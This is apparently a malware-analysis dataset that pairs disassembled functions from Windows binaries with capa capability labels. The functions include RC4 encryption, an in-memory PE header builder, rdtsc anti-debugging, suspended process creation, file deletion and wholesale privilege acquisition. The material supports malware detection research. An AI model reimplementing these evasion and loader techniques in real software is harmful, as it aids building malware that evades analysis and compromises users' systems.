joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100186e1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [0x1024d054]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
xor eax, eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0xede
mov dword [0x1024d054], ecx
mov dword [ebp - 0x30], eax
jmp 0x10018776
mov eax, dword [ebp - 0x34]
add eax, 0x1d39
mov dword [0x1024d058], 0x725
mov dword [0x1024d054], 0x124d
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
jmp 0x10018739
mov eax, dword [ebp - 0x3c]
add esp, 0x54
pop ebp
ret
lea eax, [ebp - 0x20]
mov dword [0x1024d054], 0x1479
mov dword [ebp - 0x40], eax
call fcn.10018d6d
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.10018966
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], ecx
je 0x10018739
jmp 0x1001879e
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x1022f56b]
mov dl, byte [eax + 0x1022f53c]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
je 0x10018741
jmp 0x10018776
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x1024d054]
add ecx, 0xffffee3f
mov dword [0x1024d058], ecx
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x34], eax
call fcn.10017f6b
xor eax, eax
mov ecx, dword [ebp - 0x34]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x34]
mov dword [edx + 0x10], ecx
mov dword [0x1024d054], 0x127f
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x10018739
jmp 0x10018712
Function at 0x10018beb
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, dword [0x1024d054]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
xor eax, eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffff334
mov dword [0x1024d054], ecx
mov dword [0x1024d060], 0
mov byte [0x1024d064], 0
mov dword [0x1024d05c], 0
mov dword [ebp - 0x20], eax
jmp 0x10018c5b
xor eax, eax
mov dword [0x1024d058], 0x1cd8
mov dword [0x1024d05c], 0
mov dword [ebp - 0x24], eax
jmp 0x10018c95
mov eax, dword [ebp - 0x20]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1024d054], 0x4fb
mov eax, dword [0x1024d05c]
add eax, 1
mov dword [0x1024d05c], eax
cmp eax, 0x100
mov dword [ebp - 0x20], eax
jl 0x10018c5b
jmp 0x10018c40
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x24]
mov ecx, 0x100
mov dword [0x1024d068], 0
mov dword [ebp - 0x28], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x1024d060]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1024d068], esi
mov dword [0x1024d054], 0x253d
mov eax, esi
cdq
idiv ecx
mov dword [0x1024d060], edx
mov dword [0x1024d058], 0x2618
mov ecx, dword [ebp - 0x28]
mov cl, byte [ebx + ecx]
mov byte [0x1024d064], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x28]
mov byte [ebx + edx], cl
mov dword [0x1024d054], 0x1673
mov cl, byte [0x1024d064]
mov esi, dword [0x1024d060]
mov byte [ebx + esi], cl
mov esi, dword [0x1024d05c]
add esi, 1
mov dword [0x1024d05c], esi
cmp esi, 0x100
mov dword [ebp - 0x24], esi
jl 0x10018c95
jmp 0x10018c8d
Function at 0x10018f4c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1024d05c], 0
mov dword [0x1024d060], 0
mov dword [0x1024d06c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x10019093
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x1024d058], 0x341
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1024d05c], edx
mov dword [0x1024d054], 0x2e9
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1024d060], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1024d064], cl
mov dword [0x1024d058], 0x15f7
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x1024d054], 0xeac
mov cl, byte [0x1024d064]
mov edx, dword [0x1024d060]
mov byte [edi + edx], cl
mov edx, dword [0x1024d05c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x1024d060]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x1024d054], 0x2123
and ebx, 0xff
mov dword [0x1024d06c], ebx
mov edx, dword [0x1024d058]
add edx, 0xffffdc8e
mov dword [0x1024d058], edx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov cl, byte [edx + ecx]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
mov byte [ebx + edx], cl
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x38], edx
jne 0x1001909b
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x1024d05c]
mov ecx, dword [0x1024d060]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x10018fa5
Function at 0x409cf5
Capabilities:
Copy file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
push esi
xor esi, esi
cmp dword [0x476b54], 0x516
jne 0x409d14
push esi
call dword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
mov eax, dword [ebp + 0xc]
shr eax, 3
cmp eax, esi
jbe 0x409de6
push ebx
mov ebx, dword [ebp + 8]
push edi
mov dword [ebp + 8], eax
cmp dword [0x476b54], 0x29
jne 0x409d4f
push esi
lea eax, [ebp - 0x20]
push eax
push 0x401350
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
cmp dword [0x476b54], 0xe1b
jne 0x409d73
lea eax, [ebp - 0x304]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
cmp dword [0x476b54], 0x1c
jne 0x409da8
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
push dword [ebp + 0x10]
push ebx
call fcn.00409b97
cmp dword [0x476b54], 0x4fa
jne 0x409dd8
xor eax, eax
mov word [ebp + 0xc], ax
lea edi, [ebp + 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add ebx, 8
dec dword [ebp + 8]
jne 0x409d2a
pop edi
pop ebx
pop esi
leave
ret 0xc

Function at 0x409deb
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
cmp dword [0x476b54], 0x37
jne 0x409e5b
push esi
push edi
xor eax, eax
xor esi, esi
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x401370
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
pop edi
pop esi
mov eax, dword [0x476b58]
mov dword [ebp - 4], eax
mov eax, 0x38d6
add dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + eax]
mov edx, dword [0x444020]
mov byte [edx + eax], cl
leave
ret 4
Function at 0x410690
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x438c7c]
jne 0x41069a
repz ret
jmp fcn.0041c2a0
Function at 0x10001260
Capabilities:
Copy file
Read file on windows
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x804
push ebx
push ebp
push esi
mov esi, dword [esp + 0x818]
xor ebp, ebp
push edi
push ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1008a05c
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
cmp ebx, ebp
je 0x10001327
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push 0x400
lea ecx, [esp + 0x1c]
push 2
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [esp + 0x10], eax
xor edi, edi
lea esi, [esp + 0x14]
push 0xf
push str.microsoft_corp.
push esi
call dword [sym.imp.MSVCRT.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x100012fc
inc edi
add esi, 2
cmp edi, 0x3f1
jl 0x100012cd
mov eax, dword [esp + 0x10]
inc ebp
cmp eax, 0x400
jb 0x10001327
jmp 0x100012ad
shl ebp, 0xa
add ebp, edi
push 0
shl ebp, 1
push ebp
push ebx
call dword [sym.imp.MSVCRT.dll_fseek]
push ebx
push 0xf
push 2
push str.superhard_corp.
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x804
ret 8

Function at 0x10001340
Capabilities:
Create thread
Delete file
Get common file path

Disassembly:
sub esp, 0x108
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 1
mov esi, ecx
push 0
call edi
push 0
push 0
push 1
push 0
mov dword [esi + 0x10], eax
call edi
mov dword [esi + 0x14], eax
mov ebx, dword [sym.imp.MSVCRT.dll__beginthreadex]
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x10001530
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x18
test eax, eax
je 0x10001394
push eax
call edi
lea ecx, [esp + 0xc]
push ecx
push 0
push esi
push 0x10001470
push 0
push 0
call ebx
add esp, 0x18
test eax, eax
je 0x100013b1
push eax
call edi
mov edx, dword [esi + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push edx
call ebx
mov eax, dword [esi + 0x10]
push 0xffffffffffffffff
push eax
call ebx
mov ecx, dword [esi]
push ecx
call edi
mov edx, dword [esi + 8]
push edx
call edi
mov eax, dword [esi + 4]
push eax
call edi
mov ecx, dword [esi + 0xc]
push ecx
call edi
mov edx, dword [esi + 0x18]
push edx
call fcn.1000dd30
mov edi, eax
mov eax, dword [esi + 0x18]
push eax
call fcn.1000e010
mov ecx, dword [esi + 0x18]
push ecx
call fcn.1000db00
add esp, 0xc
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
lea edx, [esp + 0x10]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str._ati.exe
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push str._ati.exe
push eax
call dword [sym.imp.MSVCRT.dll__mbsnbcat]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
mov esi, 3
lea ecx, [esp + 0x10]
push ecx
call ebx
test eax, eax
jne 0x1000145e
push 0x1f4
call edi
dec esi
jne 0x10001449
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x108
ret
Function at 0x100016b0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x200
push ebx
push esi
push 0x1008a074
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x100016da
pop esi
pop ebx
add esp, 0x200
ret
mov ecx, dword [esp + 0x210]
push 0x1008a070
push ecx
call fcn.100099ad
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x100016fe
pop esi
pop ebx
add esp, 0x200
ret
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 0x200
lea edx, [esp + 0x14]
push 1
push edx
call edi
add esp, 0x10
test eax, eax
jle 0x1000173d
push eax
lea eax, [esp + 0x10]
push eax
push ebx
call fcn.10009e2d
push esi
push 0x200
lea ecx, [esp + 0x20]
push 1
push ecx
call edi
add esp, 0x1c
test eax, eax
jg 0x1000171b
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
push ebx
call fcn.10009f85
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x200
ret

Function at 0x100017c0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c3e0
push 0x1001d65a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
rdtsc
mov esi, eax
mov edi, edx
call ebx
rdtsc
pop ebx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
xor esi, esi
mov edi, dword [ebp - 0x20]
push 1
push esi
push esi
mov eax, dword [ebp - 0x28]
push eax
call fcn.1001d660
sub eax, esi
sbb edx, edi
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
sbb edx, esi
mov ecx, dword [ebp - 0x24]
add eax, ecx
adc edx, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001970
Capabilities:
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
push esi
je 0x1000198d
call fcn.10002af0
add esp, 4
pop esi
ret 4
call fcn.10002ad0
add esp, 4
pop esi
ret 4

Function at 0x100019c0
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 8
Function at 0x10001ee0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
xor eax, eax
push edi
mov dword [esp + 4], eax
mov ecx, 0x10
mov dword [esp + 8], eax
lea edi, [esp + 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0x44
rep stosd dword es:[edi], eax
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
push edx
push eax
push eax
push 0x8000000
push eax
push eax
mov dword [esp + 0x2c], eax
push eax
mov eax, dword [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
add esp, 0x54
ret 4
Function at 0x10002810
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push ecx
push edx
call fcn.10004450
add esp, 0xc
cmp eax, 0xffffffff
je 0x10002952
test eax, eax
je 0x10002817
mov eax, dword [esp + 0x10]
push eax
mov edi, dword [eax]
mov dword [esp + 0x1c], edi
call dword [sym.imp.MSVCRT.dll_free]
mov esi, dword [esp + 0x2c]
add esp, 4
test esi, esi
je 0x10002863
mov eax, dword [esp + 0x24]
push 0x1008a05c
push eax
jmp 0x1000286d
mov ecx, dword [esp + 0x24]
push 0x1008a070
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10002952
push 0
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test edi, edi
jbe 0x10002948
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push ecx
call fcn.10004450
add esp, 0xc
cmp eax, 0xffffffff
je 0x10002948
test eax, eax
je 0x10002940
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
cmp edi, 0x401
jne 0x10002901
mov esi, str._STOP_
mov eax, ebp
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100028f8
test cl, cl
je 0x100028f4
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100028f8
add eax, 2
add esi, 2
test cl, cl
jne 0x100028d4
xor eax, eax
jmp 0x100028fd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000295a
xor esi, esi
test edi, edi
jbe 0x10002928
sub edi, esi
push ebx
push edi
lea eax, [esi + ebp]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
add esi, eax
add esp, 0x10
cmp esi, edi
jb 0x10002907
mov edx, dword [esp + 0x18]
push ebp
sub edx, edi
mov dword [esp + 0x1c], edx
call dword [sym.imp.MSVCRT.dll_free]
mov edi, dword [esp + 0x1c]
add esp, 4
test edi, edi
ja 0x10002895
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push ebp
call dword [sym.imp.MSVCRT.dll_free]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 8
mov dword [0x10096b70], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x10002980
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x408
push ebx
push ebp
push esi
mov esi, dword [esp + 0x41c]
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push esi
rep stosd dword es:[edi], eax
call fcn.10002f30
mov edi, dword [esp + 0x428]
mov ebp, dword [esp + 0x420]
add esp, 4
sub eax, edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push 4
push eax
push ebp
call fcn.10004640
add esp, 0xc
cmp eax, 0xffffffff
je 0x10002a59
test eax, eax
je 0x100029c0
push 0x1008a074
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10002a59
push 0
push edi
push ebx
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esp + 0x1c]
add esp, 0xc
test eax, eax
jbe 0x10002a4f
mov edi, dword [sym.imp.MSVCRT.dll_fread]
mov eax, dword [0x10096b70]
test eax, eax
jne 0x10002a64
push ebx
push 0x400
lea ecx, [esp + 0x1c]
push 1
push ecx
call edi
add esp, 0x10
mov esi, eax
lea edx, [esp + 0x14]
push esi
push edx
push ebp
call fcn.10004640
add esp, 0xc
cmp eax, 0xffffffff
je 0x10002a4f
cmp eax, 1
jne 0x10002a2a
mov eax, dword [esp + 0x10]
sub eax, esi
mov dword [esp + 0x10], eax
jne 0x10002a0d
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._STOP_
or ecx, 0xffffffff
xor eax, eax
push 0x401
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push ebp
call fcn.10004640
push ebx
mov dword [0x10096b70], 0
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret

Function at 0x10002ad0
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
ret
Function at 0x10002f70
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0
push 0
push 0x10002fa0
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x10002f97
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ecx
ret

Function at 0x10003640
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push 4
mov edi, dword [esi + 4]
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
test eax, eax
je 0x100036dc
mov ecx, dword [esi]
mov dword [eax], ecx
mov ecx, edi
sub ecx, 2
je 0x100036b7
sub ecx, 4
je 0x1000368f
sub ecx, 6
je 0x10003680
lea edx, [esp + 0xc]
push edx
push 0
push eax
push 0x100037b0
jmp 0x1000369c
lea ecx, [esp + 0xc]
push ecx
push 0
push eax
push 0x10006ef0
jmp 0x1000369c
lea edx, [esp + 0xc]
push edx
push 0
push eax
push 0x10001620
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x100036dc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret
lea ecx, [esp + 0xc]
push ecx
push 0
push eax
push 0x100036e0
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x100036dc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret
Function at 0x10003cb0
Capabilities:
Acquire debug privileges

Disassembly:
push str.SeAssignPrimaryTokenPrivilege
call fcn.10007920
push str.SeAuditPrivilege
call fcn.10007920
push str.SeBackupPrivilege
call fcn.10007920
push str.SeChangeNotifyPrivilege
call fcn.10007920
push str.SeCreatePagefilePrivilege
call fcn.10007920
push str.SeCreatePermanentPrivilege
call fcn.10007920
push str.SeCreateTokenPrivilege
call fcn.10007920
push str.SeDebugPrivilege
call fcn.10007920
push str.SeEnableDelegationPrivilege
call fcn.10007920
push str.SeImpersonatePrivilege
call fcn.10007920
push str.SeIncreaseBasePriorityPrivilege
call fcn.10007920
push str.SeIncreaseQuotaPrivilege
call fcn.10007920
push str.SeLoadDriverPrivilege
call fcn.10007920
push str.SeLockMemoryPrivilege
call fcn.10007920
push str.SeMachineAccountPrivilege
call fcn.10007920
push str.SeManageVolumePrivilege
call fcn.10007920
add esp, 0x40
push str.SeProfileSingleProcessPrivilege
call fcn.10007920
push str.SeRemoteShutdownPrivilege
call fcn.10007920
push str.SeRestorePrivilege
call fcn.10007920
push str.SeSecurityPrivilege
call fcn.10007920
push str.SeShutdownPrivilege
call fcn.10007920
push str.SeSyncAgentPrivilege
call fcn.10007920
push str.SeSystemEnvironment
call fcn.10007920
push str.SeSystemProfilePrivilege
call fcn.10007920
push str.SeSystemtimePrivilege
call fcn.10007920
push str.SeTakeOwnershipPrivilege
call fcn.10007920
push str.SeTcbPrivilege
call fcn.10007920
push str.SeUndockPrivilege
call fcn.10007920
push str.SeUnsolicitedInputPrivilege
call fcn.10007920
add esp, 0x34
ret